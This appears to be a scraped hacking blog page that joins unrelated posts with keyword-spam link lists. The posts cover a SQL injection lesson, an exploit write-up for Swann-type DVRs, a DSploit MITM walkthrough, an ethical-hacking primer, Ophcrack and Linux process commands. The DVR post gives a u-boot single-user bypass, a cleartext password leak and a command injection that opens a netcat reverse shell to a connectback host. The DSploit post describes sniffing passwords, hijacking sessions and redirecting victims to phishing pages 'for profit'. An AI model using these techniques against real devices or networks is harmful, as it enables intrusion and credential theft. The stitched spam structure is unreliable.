Web Hacking Video Series #4 MySQL Part 2 (Injection And Coding)

Video Lesson Topics:

1. Setting up your victim application, databases and lab
2. Attacking a simple injection with information Schema
3. Automating your injections with python and beautiful soup
4. Dealing with various web encoding in Python and PHP
5. Bypassing LoadFile Size restrictions and automating it
6. Decrypting sensitive data via PHP and Python interactions
7. As always me rambling about stupid nonsense :P FTW

Part 2 of Mysql covers the topic of injecting a simple SQL injection example. Starts out slow then combines techniques and moves into more advanced topics. Prior to attempting this lesson make sure you have watched the videos in the previous blog or understand both SQL and basic python coding. I will show how to automate the injection process via python utilizing simple HTML processing abilities of beautiful soup.  I will cover many python libraries for encoding data and calling web based applications. I also talk about how to deal with encrypted data and methods of enumerating files and folders looking for possible implementation issues and attack points to decrypt sensitive data via PHP/Python interaction with whats available on the server. This is the 2nd part of a 3 part series on MySQL for attacking web applications.

Files Needed:

Lab Files
BT5

Video Lesson:

Whats Next:

PHP source code analysis
Recoding PHP applications to fix SQLi

Continue reading

• Hacking Gif
• Hacker Anonymous
• Hacking Process
• Pentestgeek
• Pentest Magazine
• Pentest Vs Ceh
• Pentest Firewall
• Pentest Web Application
• Hacking Process
• Pentest Aws
• Pentest Environment
• Pentesting

Swann Song - DVR Insecurity

"Swan song" is a metaphorical phrase for a final gesture, effort, or performance given just before death or retirement. This post serves as the "swan song" for a whole slew of DVR security systems. With that being said, I will refer to the lyrical master MC Hammer, lets turn this mutha' out.

I recently had a chance to get my hands on a 4 channel DVR system system sold under a handful of company banners (4/8/16 channels) - Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc. A few device model numbers are - DVR04B, DVR08B, DVR-16CIF, DVR16B
After firing up the device and putting it on the network I noticed that it was running a telnet server, unfortunately the device does not appear to come configured with an easy/weak login :(. Time to open it up and see whats going on :)

After opening the device up something grabbed my attention right away....

The highlighted header looked like a pretty good possibility for a serial port, time to break out the multi-meter and check. After a couple power cycles, the header was indeed a serial port :)

After hooking up my usb to serial breakout board to the device serial port and guessing at the following serial settings: 115200 8-N-1 , I was stuck looking at a login prompt without a working login or password.

Lucky for me the device startup can be reconfigured using the u-boot environment. The environment variable "bootargs" can be adjusted to boot the linux system into single user mode by appending "single" to the end of the existing settings:

setenv bootargs mem=68M console=ttyAMA0,115200 root=1f01 rootfstype=jffs2 mtdparts=physmap-flash.0:4M(boot),12M(rootfs),14M(app),2M(para) busclk=220000000 single

This change to the bootargs variable is only temporary at this point, if we were to power cycle the device the change would be lost. It is possible to write these changes to the device, but in this case we only want to boot into single user mode once. To boot the device you need to tell the boot loader where the kernel exists in memory, this value can be found in the default environment variable "bootdcmd".

Once the device is booted up in single user mode, the root password can be reset and the device can be rebooted. Telnet now works, but what fun is that when these devices don't normally expose telnet to the internet :). Now for the real fun...looking at the device the default configuration is setup to auto-magically use the power of the dark lord satan (uPnP) to map a few ports on your router (if it supports uPnP). One of the ports that it will expose is for the web (activeX) application and the other is the actual comms channel the device uses (port 9000). The first item I looked at was the web application that is used to view the video streams remotely and configure the device. The first thing that I found with this lovely device is that the comms channel (9000) did not appear to do any authentication on requests made to it...Strike 1. I imagine the activeX application that is used to connect to the device could be patched to just skip the login screen, but that seems like a lot of work, especially when there are much easier ways in. The next thing I saw was a bit shocking...when you access the application user accounts page the device sends the application all the information about the accounts stored on the device. This includes the login and password. In clear text. Strike 2. I created a small PoC in python that will pull the password from a vulnerable device:

python getPass.py 192.168.10.69
[*]Host: 192.168.10.69
[+]Username: admin
[+]Password: 123456

Script can be found here.

After owning the device at the "application" level, I figured it was time to go deeper.

Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:

"sprintf" with user input into a "system", that'll do it. Couple problems to overcome with this. First in order to use this vector for command injection you must configure the device to use "ppp" - this will cause the device to go offline and we will not be able to interact with it further :(. We can get around this issue by injecting a call to the dhcp client appliction ("udhcpc") - this will cause the device to use dhcp to get its network information bypassing the previous "ppp" config. The other issue is once we have reconfigured the device to run our command, it needs to be restarted before it will execute (its part of the init scripts). The application does not actually provide a way to reboot the device using the web interface, there is a section that says 'reboot', but when it is triggered nothing happens and some debugging information displayed in the serial console saying the functionality is not implemented. Lucky for us there are plenty of overflow bugs in this device that will lead to a crash :). The device has a watchdog that polls the system to check if the "raysharpdvr" application is running and if it does not see it, it initiates a system reboot - very helpful. With those two issues out of the way the only thing left is HOW to talk to our remote root shell that is waiting for us....luckily the device ships with netcat built into busybox, -e flag and all :)

Usage: sploit.py <target> <connectback host> <connectback port>
$ python sploit.py 192.168.10.69 192.168.10.66 9999
[*]Sending Stage 1
[*]Sending Stage 2
[*]Rebooting the server with crash....
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9999

Strike 3, get this weak shit off my network. The script can be found here. The script relies on the web application running on port 80, this is not always the case so you may need to adjust the script to fix if your device listens on another port. It is also worth noting that it may take a few minutes for the device to reboot and connect back to you.

Unfortunately the web server that runs on this device does not behave correctly (no response headers) so I do not believe finding these online is as easy as searching shodan, however it is possible to fingerprint vulnerable devices by looking for hosts with port 9000 open.

tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.

Related links

1. Hacker0Ne
2. Hacking Simulator
3. Pentest Stages
4. Hacker Prank
5. Hacker Wifi Password
6. Hacking Health
7. Hacking Software

Exploit-Me

"Exploit-Me is a suite of Firefox web application security testing tools designed to be lightweight and easy to use. The Exploit-Me series was originally introduced at the SecTor conference in Toronto. The slides for the presentation are available for download. Along with this SecTor is making the audio of the talk available." read more...

Website: http://securitycompass.com/exploitme.shtml

Read more

1. Hacking With Python
2. Pentest Framework
3. Hacking Meaning
4. Hacking Gif
5. Hacking Websites
6. Pentest Owasp Top 10
7. Hacker Language
8. Pentest With Kali Linux
9. Hacking Tutorials
10. Pentest Plus
11. Pentest Security
12. Pentest Keys
13. Hacking 3Ds
14. Pentest Framework
15. Pentest Hardware
16. What Hacking Is
17. Pentest Website
18. Pentest Blog
19. How To Pentest A Network
20. Pentestlab

DSploit

DSploit

After playing with the applications installed on the Pwn Pad, I found that the most important application (at least for me) was missing from the pre-installed apps. Namely, DSploit. Although DSploit has tons of features, I really liked the multiprotocol password sniffing (same as dsniff) and the session hijacking functionality.

The DSploit APK in the Play Store was not working for me, but the latest nightly on http://dsploit.net worked like a charm.

Most features require that you and your target uses the same WiFi network, and that's it. It can be Open, WEP, WPA/WPA2 Personal. On all of these networks, DSploit will sniff the passwords - because of the active attacks. E.g. a lot of email clients still use IMAP with clear text passwords, or some webmails, etc. 

First, DSploit lists the AP and the known devices on the network. In this case, I chose one victim client.

In the following submenu, there are tons of options, but the best features are in the MITM section. 

Stealthiness warning: in some cases, I received the following popup on the victim Windows:

This is what we have under the MITM submenu:

Password sniffing

For example, let's start with the Password Sniffer. It is the same as EvilAP and DSniff in my previous post. With the same results for the popular Hungarian webmail with the default secure login checkbox turned off. Don't forget, this is not an Open WiFi network, but one with WPA2 protection!

Session hijack

Now let's assume that the victim is very security-aware and he checks the secure login checkbox. Another cause can be that the victim already logged in, long before we started to attack. The session hijacking function is similar to the Firesheep tool, but it works with every website where the session cookies are sent in clear text, and there is no need for any additional support.

In a session hijacking attack (also called "sidejacking"), after the victim browser sends the authentication cookies in clear text, DSploit copies these cookies into its own browser, and opens the website with the same cookies, which results in successful login most of the time. Let's see session hijacking in action!

Here, we can see that the session cookies have been sniffed from the air:

Let's select that session, and be amazed that we logged into the user's webmail session.

Redirect traffic

This feature can be used both for fun or profit. For fun, you can redirect all the victim traffic to http://www.kittenwar.com/. For-profit, you can redirect your victim to phishing pages.

Replace images, videos

I think this is just for fun here. Endless Rick Rolling possibilities.

Script injection

This is mostly for profit. client-side injection, drive-by-exploits, endless possibilities.

Custom filter

If you are familiar with ettercap, this has similar functionalities (but dumber), with string or regex replacements. E.g. you can replace the news, stock prices, which pizza the victim ordered, etc. If you know more fun stuff here, please leave a comment (only HTTP scenario - e.g. attacking Facebook won't work).

Additional fun (not in DSploit) - SSLStrip 

From the MITM section of DSploit, I really miss the SSLStrip functionality. Luckily, it is built into the Pwn Pad. With the help of SSLStrip, we can remove the references to HTTPS links in the clear text HTTP traffic, and replace those with HTTP. So even if the user checks the secure login checkbox at freemail.hu, the password will be sent in clear text - thus it can be sniffed with DSniff.

HTML source on the client-side without SSLstrip:

HTML source on the client-side with SSL strip:

With EvilAP, SSLStrip, and DSniff, the password can be stolen. No hacking skillz needed.

Lessons learned here

If you are a website operator where you allow your users to login, always:

1. Use HTTPS with a trusted certificate, and redirect all unencrypted traffic to HTTPS ASAP
2. Mark the session cookies with the secure flag
3. Use HSTS to prevent SSLStrip attacks

If you are a user:

1. Don't trust sites with your confidential data if the above points are not fixed. Choose a more secure alternative
2. Use HTTPS everywhere plugin
3. For improved security, use VPN

Because hacking has never been so easy before.
And last but not least, if you like the DSploit project, don't forget to donate them!

More information

• Pentest Magazine
• Hacking Wifi
• Hacking Books
• Pentest Lab Setup
• Pentest Environment
• Hacking Forums
• Hackintosh
• Hacker Box

How To Start | How To Become An Ethical Hacker

Are you tired of reading endless news stories about ethical hacking and not really knowing what that means? Let's change that!

This Post is for the people that:

• Have No Experience With Cybersecurity (Ethical Hacking)
• Have Limited Experience.
• Those That Just Can't Get A Break

OK, let's dive into the post and suggest some ways that you can get ahead in Cybersecurity.

I receive many messages on how to become a hacker. "I'm a beginner in hacking, how should I start?" or "I want to be able to hack my friend's Facebook account" are some of the more frequent queries. Hacking is a skill. And you must remember that if you want to learn hacking solely for the fun of hacking into your friend's Facebook account or email, things will not work out for you. You should decide to learn hacking because of your fascination for technology and your desire to be an expert in computer systems. Its time to change the color of your hat 😀

 I've had my good share of Hats. Black, white or sometimes a blackish shade of grey. The darker it gets, the more fun you have.

If you have no experience don't worry. We ALL had to start somewhere, and we ALL needed help to get where we are today. No one is an island and no one is born with all the necessary skills. Period.OK, so you have zero experience and limited skills…my advice in this instance is that you teach yourself some absolute fundamentals.

Let's get this party started.

•  What is hacking?

Hacking is identifying weakness and vulnerabilities of some system and gaining access with it.

Hacker gets unauthorized access by targeting system while ethical hacker have an official permission in a lawful and legitimate manner to assess the security posture of a target system(s)

 There's some types of hackers, a bit of "terminology".
White hat — ethical hacker.
Black hat — classical hacker, get unauthorized access.
Grey hat — person who gets unauthorized access but reveals the weaknesses to the company.
Script kiddie — person with no technical skills just used pre-made tools.
Hacktivist — person who hacks for some idea and leaves some messages. For example strike against copyright.

•  Skills required to become ethical hacker.

1. Curosity anf exploration
2. Operating System
3. Fundamentals of Networking

*Note this sites

• hackquest.de
• hacktissite.org
• www.trythis0ne.com
• www.hackchallenge.net
• hacking-lab.com

Continue reading

• Pentest Windows 7
• Pentest Reporting Tool
• Hacking Wifi
• Hacking Site
• Hacking Language
• Hacking Simulator
• Pentest Windows
• Pentest Report Generator
• Hacking Quotes
• Pentest+ Vs Oscp

Ophcrack

" Ophcrack is an open source (GPL license) program that cracks Windows LM hashes using rainbow tables. The program includes the ability to import the hashes from a variety of formats, including dumping directly from the SAM files of Windows. There is also a Live CD version which automates the retrieval, decryption, and cracking of passwords from a Windows system. Rainbow tables for LM hashes of alphanumeric passwords are provided for free by the developers. These tables can crack 99.9% of alphanumeric passwords of up to 14 characters in usually a few seconds, and at most a few minutes. Larger rainbow tables (for LM hashes of passwords with all printable characters, including symbols and space) are available for purchase from Objectif Securité. Starting with version 2.3, Ophcrack also cracks NT hashes. This is necessary if generation of the LM hash is disabled (this is default on Windows Vista), or if the password is longer than 14 characters (in which case the LM hash is not stored)." read more...

Website: http://ophcrack.sourceforge.net

Related articles

1. Hacking Jacket
2. Pentest Wifi
3. Hacking With Raspberry Pi
4. Pentest+ Vs Ceh
5. Pentest Magazine
6. Hacker Kevin Mitnick
7. Hacking Simulator
8. Hacker Forum
9. Pentest Tools Free

Top Process Related Commands In Linux Distributions

Commands in Linux are just the keys to explore and close the Linux. As you can do things manually by simple clicking over the programs just like windows to open an applications. But if you don't have any idea about commands of Linux and definitely you also don't know about the Linux terminal. You cannot explore Linux deeply. Because terminal is the brain of the Linux and you can do everything by using Linux terminal in any Linux distribution. So, if you wanna work over the Linux distro then you should know about the commands as well. In this blog you will exactly get the content about Linux processes commands which are are given below.

ps

The "ps" command is used in Linux to display your currently active processes over the Linux based system. It will give you all the detail of the processes which are active on the system.

ps aux|grep

The "ps aux|grep" command is used in Linux distributions to find all the process id of particular process like if you wanna know about all the process ids related to telnet process then you just have to type a simple command like "ps aux|grep 'telnet'". This command will give you the details about telnet processes.

pmap

The "pmap" command in Linux operating system will display the map of processes running over the memory in Linux based system.

top

The "top" command is used in Linux operating system to display all the running processes over the system's background. It will display all the processes with process id (pid) by which you can easily kill/end the process.

Kill pid

Basically the kill command is used to kill or end the process or processes by simply giving the process id to the kill command and it will end the process or processes. Just type kill and gave the particular process id or different process ids by putting the space in between all of them. kill 456 567 5673 etc.

killall proc

The "killall proc" is the command used in Linux operating system to kill all the processes named proc in the system. Killall command just require a parameter as name which is common in some of the processes in the system.

bg

The "bg" is the command used in Linux distributions to resume suspended jobs without bringing them to foreground.

fg

The "fg" command is used in Linux operating system to brings the most recent job to foreground. The fg command also requires parameters to do some actions like "fg n" n is as a parameter to fg command that brings job n to the foreground.Related articles

• Pentest Meaning
• Pentest Framework
• Pentest Tools
• Pentesterlab
• Hacking Google
• Hacking Simulator
• Pentest Open Source
• Hacker Lab
• Hacking Simulator
• Pentest Devices
• Pentest Hardware
• Hacking Meaning
• Pentest Book
• Pentest Azure
• Pentest Aws
• Rapid7 Pentest
• Pentest Wiki
• Hacking Wifi